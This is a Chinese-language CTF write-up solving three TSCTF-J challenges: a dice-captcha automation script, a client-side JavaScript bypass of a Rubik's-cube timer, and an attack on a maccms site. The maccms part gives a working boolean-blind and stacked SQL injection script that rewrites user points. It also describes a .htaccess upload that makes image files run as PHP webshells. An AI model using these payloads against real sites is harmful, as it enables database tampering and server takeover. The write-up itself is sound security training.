部分复现
ez_au
比赛时尝试了一下手操,然后发现通过12个验证问题需要控制在不是人能达到的速度下。当时思考的是绕过,但是似乎后台会记录每一次答案的正确与否,再在bp里抓包看看,就只有cookie里的PHPSESSID
引起了我的注意,但稍微搜索了一下,发现这只是php代码里用来识别不同SESSION
会话的机制,PHP脚本可以设置为为每一个新会话自动生成一个PHPSESSID
,保存在浏览器的cookie中,随着接下来的请求一起上传到服务端,服务端再根据此找到SESSION
对象,从而获取所对应的信息,进行一一处理。
这时就没有思路了。
看WP和讨论,需要用脚本,那就开始学吧。(原来得用硅基生命来解决这个问题呢)
之前看requests库就只看了一两篇文章就溜了,这次边学边做呗。
先理清自动化脚本要实现什么。
- 获取请求。
- 找到当前页面的骰子。
- 计算答案。
- 发送请求。
- 跳转到step1并重复12次。
bp抓包发现answer是用POST传递的,并且请求头必须含有PHPSESSID
(见上面的分析)。
那就bp抓包构造请求头,然后待会把PHPSESSID
替换成一个随意的值。
如何找到骰子?
骰子在页面有回显,尝试在源代码中搜索,的确搜到了,那就弄个映射关系。
然后就是脚本计算,正则表达式用得不是很熟练,就普通地写了。。。
接着就是发送请求,之前不知道怎么用requests库发送POST数据(我之前学了个啥。。。),查阅文档,直接用data=
就行。。。
然后写出如下脚本:
运行发现没有获取验证问题,再bp抓包发现得向getproblem
传参%E8%8E%B7%E5%8F%96%EF%BC%88%E9%87%8D%E7%BD%AE%EF%BC%89%E9%AA%8C%E8%AF%81%E9%97%AE%E9%A2%98
,加在开头就行了。
然后发现说是验证错误,思考了半天感觉脚本写的没毛病,想到了可能是编码问题,果然,我vscode敲代码以前默认是GBK,运行后所有骰子都变成了?
,换成utf-8就行了。
最终如下:
import requests
from requests.models import Response
url = 'http://120.53.107.60/authentication.php'
headers = {
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cookie': 'PHPSESSID=miaomiaomiao',
'Connection': 'close',
}
dice = ['⚀','⚁','⚂','⚃','⚄','⚅']
if __name__=='__main__':
response = requests.post(url=url, headers=headers, data={'getproblem':'%E8%8E%B7%E5%8F%96%EF%BC%88%E9%87%8D%E7%BD%AE%EF%BC%89%E9%AA%8C%E8%AF%81%E9%97%AE%E9%A2%98'})
for cnt in range(12):
num = 0
sum = 0
for i in range(6):
if dice[i] in response.text:
sum += i + 1
num += 1
if (num == 1) :
sum *= 2
response = requests.post(url=url, headers=headers, data={'answer':sum})
print(response.text)
得到flag: TSCTF-J{s0_Ez_4_silic0n_b4s3d_life}
。
再仔细看WP,原来getpromblem
只要是个值就行了啊,,,还有原来requests库自带构造session的函数。。。
cube
比赛时看见cube.js里那么长的代码就润了。。。。现在可以练习一下。
首先手操一遍,再看看html源码,大致任务就是在999ms内还原魔方,并按下id=chk
的按钮。hint的话感觉不是很懂。。。
然后开始审计js代码。
从函数名和大致内容猜测代码前半段是cube主体,后半段有大量用来加密flag的函数,最后几行函数显然是一个突破口。
//转魔方
rules.forEach(rule => {
document.getElementById(rule.id).addEventListener('click', rule.ops)
})
//Hint点击时提示
document.getElementById('Hint').addEventListener('click', () => {})
//cube的构造与渲染
cube.rX = rX; cube.rY = rY; cube.render(rX, rY)
window.cube = cube;
//猜测是分享,与题目无关。
document.getElementById('share').src = $canvas.toDataURL()
//页面刚加载时更新一次cube并设置时间。
window.onload=function(){
document.getElementById("btn-shuffle").click();
window.setTimeout(function(){myTimer()},8200);
}
//设置时间。
function myTimer() {
document.getElementById("text").innerHTML="please finish this cube in 999ms.";
setTimeout(function(){document.getElementById("text").innerHTML="Timeout!\nLoser.";window.setTimeout(function(){window.location.reload(true);},300);},999);
}
//Hint提示内容。
document.getElementById('Hint').addEventListener('click', () => {document.getElementById("text").innerHTML="..."})
既然flag并未存储于服务端,当然可以通过本地运行修改js代码的方式来获取。
这里就可以删去时间的限制。
然后再在rules表中找到了id=chk
时对应的操作:cube.Icegey()
。
跟进去。
发现需要满足两个if为真,这也许就是判断cube复原的条件,直接暴力替换为1
就可以直接运行了吧。
然后在本地搭好环境,等待cube打乱后在控制台输入cube.Icegey()
,就跳出了这个:
猜测是base64加密,解密可得:
TSCTF-J{HELLO_CUBE_MASTES_AND_HAVE_FUN_IN_HERE>>>>}
badmac
呜呜呜,这道题充分体现了我的zz水平。。。傻事做尽。
比赛时逛逛小网站,以为搜索的wd
是一个注入点,尝试半天无果就放弃了。。。(甚至都没打开附件)
复现时问f0才知道原来注入点在用户登录这里TAT。
一般网站框架会对用户密码进行编码处理,所以考虑对账号的注入。先正常输入admin
,发现页面弹出:
想看这句话出现在源码中的哪个位置,写了个递归脚本:
从语言包中找到了所对应的英文名称,继续执行搜索脚本,找到了User.php
中的关键代码,并进行初步审计:
这里表明后端的确未对sql查询语句做过滤,存在注入,而且使用了multi_query()
,暗含了可能用到的堆叠注入。不懂affected_rows
的意思,搜索后明白大致含义是返回所影响的行数。而且回显也只有两种情况,要么没有影响,要么有影响。
需要知道用户登录信息,就需要sqli获得,在这里明显是布尔盲注。
验证:
的确存在。
考虑采用二分布尔盲注脚本。
写完后就可以跑出来一个账号和密码:
登进去,看到修改头像,然后就在思考如何文件上传惹。。。查看源码,发现绕不过去这个:
在提示下看看资讯,看来得为账户充点钱,这时发现的堆叠注入就有用了,直接堆叠注入给自己加points。
我感觉我有亿点傻。
完整的脚本贴在这:
import requests
Fs = "获取用户信息失败"
Ts = "用户登录失败"
url = "http://123.57.193.197:12334/maccms/index.php/user/login.html"
def injection_database(url) :
res = ""
for i in range(1,2000) :
left = 32
right = 128
mid = (left + right) // 2
while (left < right) :
payload = "1' or (ascii(substr((select database()),%d,1)))>%d;#" % (i, mid)
data = {"user_name" : payload, "user_pwd" : "123456"}
resp = talk.post(url, data=data)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
def inject_table(url):
res = ""
for i in range(1,2000):
left = 32
right = 128
mid = (left + right) // 2
while (left < right):
payload = "1' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'maccms'),%d,1)))>%d;#" % (i, mid)
data = {"user_name" : payload, "user_pwd" : "123456"}
resp = talk.post(url, data=data)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
def injection_column(url):
res = ""
for i in range(1,2000):
left = 32
right = 128
mid = (left + right) // 2
while (left < right):
payload = "1' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='maccms' and table_name='tsctfj_card'),%d,1)))>%d;#" % (i, mid)
data = {"user_name" : payload, "user_pwd" : "123456"}
resp = talk.post(url, data=data)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
def injection_info(url) :
res = ""
for i in range(1,2000):
left = 32
right = 128
mid = (left + right) // 2
while (left < right):
payload = "1' or (ascii(substr((select group_concat(card_no) from maccms.tsctfj_card),%d,1)))>%d;#" % (i, mid)
data = {"user_name" : payload, "user_pwd" : "123456"}
resp = talk.post(url, data=data)
if Ts in resp.text :
left = mid + 1
else :
right = mid
mid = (left + right) // 2
if (mid == 32) :
break
res += chr(mid)
print(res)
def change_card(url) :
payload = "1';insert into tsctfj_card(card_no,card_pwd,card_money,card_points,card_use_status,card_sale_status) values(123,123,4294967295,4294967295,0,0);#"
data = {"user_name" : payload, "user_pwd" : "123456"}
resp = talk.post(url, data=data)
print(resp.text)
def change_points(url) :
payload = "1';UPDATE tsctfj_user SET user_points='4294967295' WHERE user_name='atestuserintsctf-j';#"
data = {"user_name" : payload, "user_pwd" : "123456"}
resp = talk.post(url, data=data)
print(resp.text)
if __name__ == "__main__" :
talk = requests.session()
#injection_database(url)
#inject_table(url)
#injection_info(url)
#change_points(url)
获得提示:在get请求中加个tsctf-j_2021_zbr_666=666_rbz_1202_j-ftcst
然后就是上传time。
先随便上传,发现后端应该对文件后缀做了限制,把msg
的信息放在搜索脚本中跑一下,找到了upload
函数,在ctfhub技能树中学过此时考虑使用图片马,要么上传.htaccess
文件,要么找文件包含漏洞,一开始尝试上传.htaccess
文件,结果:
查看源码以为是抛出了这个异常上传就终止了,,,,于是就开始了找文件包含漏洞的不归路。。。。
问了f0才知道,,,原来这个是上传成功了啊。。。。。草。。。。
然后就可以用图片马连了。
简单讲一下原理:图像文件具有的特征性字段,后端检测当然可以用此来判断是否是图像文件,那么可以把一句话后门藏在图像文件中,就能绕过此判断,当然光有这个还不够,得让服务器以php来解析此文件,这里就用到了.htaccess
文件,规定了AddType application/x-httpd-php .png
,即在当前目录,以php的形式解析所有png文件,于是就可以用蚁剑连后门了。
得到flag。